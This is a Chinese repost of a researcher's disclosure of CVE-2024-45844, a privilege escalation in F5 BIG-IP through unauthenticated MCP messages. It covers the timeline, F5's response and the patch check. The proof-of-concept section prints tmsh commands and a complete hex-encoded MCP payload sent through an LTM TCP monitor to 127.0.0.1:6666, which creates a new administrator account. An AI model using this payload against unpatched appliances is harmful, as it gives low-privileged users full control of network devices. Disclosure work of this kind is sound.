CVE-2024-45844:F5 BIG-IP 中的权限升级

admin 2024年10月18日22:10:53评论31 views字数 4503阅读15分0秒阅读模式

CVE-2024-45844:F5 BIG-IP 中的权限升级

由 myst404 (@myst404_)于 2024 年 10 月 17 日星期四 发布

之前的文章《F5 BIG-IP 后漏洞利用:root,现在怎么办?》和《深入研究 F5 Secure Vault》帮助我们更好地了解了内部 F5 机制。

它还让我们发现了一个权限提升漏洞,该漏洞现已被分配为 CVE-2024-45844。在发现这个问题后,我们发现了Ron Bowes 之前关于 MCP 消息的研究,这大大简化了对此类问题的理解和利用 - 因此建议阅读。

注意:下面描述的所有测试均在从此版本的官方 VMWare 映像安装的 F5 BIGIP-17.1.1.2-0.0.10 LTM 上执行(sha256 aff4610bdb4f4067c7305a63a7a27f24c47dbf99e55fbed79eed3de3796b5fd6:)。

1. MCP

正如Ron Bowes所解释的,MCP(主控制程序)是 F5 BIG-IP 设备内部使用的专有数据库。

可以通过发送由mcpd守护进程处理的 MCP 消息与此数据库进行交互。有两种方法可以向mcpd守护进程发送 MCP 消息:

  • 通过 UNIX 域套接字/var/run/mcp,正如 Ron Bowes 所发现的那样。

  • 通过网络套接字监听127.0.0.1:6666(据我们所知尚未公开)。

2. MCP 消息

与 MCP 数据库的交互不需要身份验证,并且 MCP 消息没有任何特殊的保护(如加密或防中继)。

大多数 F5 配置依赖于底层的 MCP 消息:添加 iRule、修改 NAT 策略、添加新的池成员等。

从安全角度来看,这意味着任何能够发送 MCP 消息的攻击者都可以创建一个新的根级帐户、更改任何用户的角色或修改任何用户的密码。

攻击者如何滥用此行为来执行权限提升?

Unix 域套接字

UNIX 域套接字/var/run/mcp具有权限 777:Linux 系统上的任何人都可以与 MCP 交互。

限制在于您需要执行bash类似 的命令socat。但是,F5 限制了哪些用户可以访问bashBIG-IP 系统。只有默认的root和具有管理员角色的用户才可以bash访问。这种攻击在这里毫无意义:您需要拥有管理员权限才能成为管理员。

通过欺诈性访问,这种场景变得很有趣,例如,如果攻击者通过 Web 服务器获得任意命令执行,以用户身份运行apache(用于运行 Web 服务器的低权限帐户)。通过使用refreshing-mcp-tool 存储库mcp-privesc.rb中的脚本或发送如下所示的网络请求,很容易执行权限提升并成为管理员。

这是一个已知问题,F5 不会修复:

mcpd 的当前架构(不需要身份验证)是一个已知问题,F5 不会在 BIG-IP 中对其进行更改。

网络套接字

要向网络套接字发送请求127.0.0.1:6666,攻击者需要具有本地访问权限。

同样,执行命令nc是可能的,但需要bash访问权限,如上所述。

权限较低的用户使用tmsh(流量管理外壳)。它是用于管理 BIG-IP 系统的受限命令行界面。

通过深入研究文档,我们意识到我们需要劫持一个命令才能在本地发送 MCP 消息,从而执行权限提升。

3. CVE-2024-45844

生成 MCP 消息

必须创建 MCP 消息有效负载才能利用权限提升。创建新管理员用户的 MCP 消息是实现此目标的一种简单方法,尽管这种方法不是最安全的。

有两种方法可以轻松创建 MCP 消息:

  • 例如通过strace在任何测试实例上捕获它,然后重放它。

  • 通过使用像mcp-privesc.rb这样的生成工具。

一旦伪造,MCP 消息必须发送到127.0.0.1:6666

LTM 监视器

LTM(本地流量管理器)监视器用于定期检查服务是否按预期响应。LTM 监视器可以监视多种服务:MySQL、LDAP、SMB、HTTP 等。

根据监视器类型,可以发送任意数据(如 HTTP 监视器的自定义 HTTP 标头)以正确检查服务。

有趣的是,ltm monitor tcp命令可用于监视 TCP 网络服务是否正常运行。此监视器允许指定要发送的原始 TCP 消息。

用户必须至少具有管理员角色才能创建 LTM 监视器。

无法直接创建指向本地主机的监视器:

manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# create privesc destination 127.0.0.1
Syntax Error: invalid monitor destination "127.0.0.1"

但是,可以创建一个 LTM 监视器,然后将目标更改为本地主机。

概念证明

为了演示目的,我们使用管理员帐户root来创建管理员帐户manager_almond,该帐户将利用权限提升。

1.使用管理员用户创建经理用户:

[root@f5-bigip:Active:Standalone] ~ $ tmsh create /auth user manager_almond prompt-for-password partition-access add { all-partitions { role manager } } shell tmsh

2.使用新创建的账户登录:

user@attackervm:~ $ ssh manager_almond@<IP>

3.在 TMSH 提示符中:

manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos)$ ltm monitor tcp #enter the menu ltm monitor tcp
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ create privesc #creating a monitor named privesc
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ modify privesc send 'x00x00x00x36x00x00x00x00x00x00x00x00x00x00x00x02x10x28x00x0dx00x00x00x2ex10x29x00x0fx00x00x00x06x00x04x72x6fx6fx74x64xb6x00x0fx00x00x00x16x00x14x74x6dx73x68x2cx20x74x6dx73x68x2dx70x69x64x2dx31x32x38x37x30x00x00x00x00x00xb9x00x00x00x00x00x00x00x00x00x00x00x02x0bx61x00x0dx00x00x00x1fx10x04x00x0dx00x00x00x15x10x06x00x0fx00x00x00x0bx00x09x61x6cx6dx6fx6ex64x31x31x31x00x00x00x00x0bx5ax00x0dx00x00x00x36x10x04x00x0dx00x00x00x2cx10x08x00x0fx00x00x00x07x00x05x5bx41x6cx6cx5dx10x06x00x0fx00x00x00x0bx00x09x61x6cx6dx6fx6ex64x31x31x31x10x07x00x05x00x00x00x00x00x00x00x00x0bx5ax00x0dx00x00x00x4cx0bx11x00x0dx00x00x00x42x0bx12x00x0fx00x00x00x0bx00x09x61x6cx6dx6fx6ex64x31x31x31x0bx19x00x0fx00x00x00x06x00x04x62x61x73x68x0bx13x00x0fx00x00x00x0fx00x0dx41x6cx6dx6fx6ex64x5fx4fx66x66x53x65x63x0bx14x00x05x00x00x00x00x00x00x00x00' #set the MCP message that will create the administrator user almond111 with the password Almond_OffSec
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ run privesc destination 127.0.0.1:6666 #Run the monitor, i.e. send the data above to 127.0.0.1:6666

4.用户almond111已创建!

PoC 执行从具有管理员角色(创建 LTM 监视器所需的最低权限级别)的用户到管理员的权限升级。

4. F5 响应

时间线 2024-05-29:报告发送至 F5。2024-05-30

  • F5 首次回应 2024-06-19

  • F5 承认漏洞 2024-09-29

  • BIG-IP 修补版本发布(17.1.1.4、16.1.5 和 15.1.10.5)2024-10-11

  • F5 回应:

内部守护进程(例如 mcpd)只能通过本地主机地址和本地 UNIX 套接字访问,而这些地址和套接字无法从外部访问,并且只能由在 BIG-IP 本身上运行的特权进程访问。BIG-IP 不是通用的多用户平台。F5 建议仅允许受信任用户访问命令行 (CLI),因为所有具有 CLI 访问权限的用户都被授予管理员权限。BIG-IP Next 使用一种基于零信任模型构建的新架构,确保内部消息受到保护。

  • 2024-10-16:F5 安全公告发布 F5季度安全通知(2024 年 10 月)发布。

  • 2024-10-16 CVE-2024-45844发布,CVSSv4.0:8.6

  • 2024-10-17 本文发布。

修补

测试了最新版本17.1.1.4。

不再可能使用 LTM TCP 监视器在本地发送消息。如果目标不是 IPv4 地址(以点分隔的 4 个块)或 IP 地址以 127 开头,则会引发错误:

manager_almond2@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# run privesc destination 127.0.0.2:6666

01071e25:3: Invalid Monitor Address for /Common/privesc.

5. 参考文献

https://docs.google.com/presentation/d/1CeWI7IIIVJEmrtPkFPnUIUHns2S7gZnchmlTo3ozhEA/

https://www.skullsecurity.org/cv

https://github.com/rbowes-r7/refreshing-mcp-tool

原文始发于微信公众号(Ots安全):CVE-2024-45844:F5 BIG-IP 中的权限升级

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日22:10:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-45844:F5 BIG-IP 中的权限升级https://cn-sec.com/archives/3286302.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息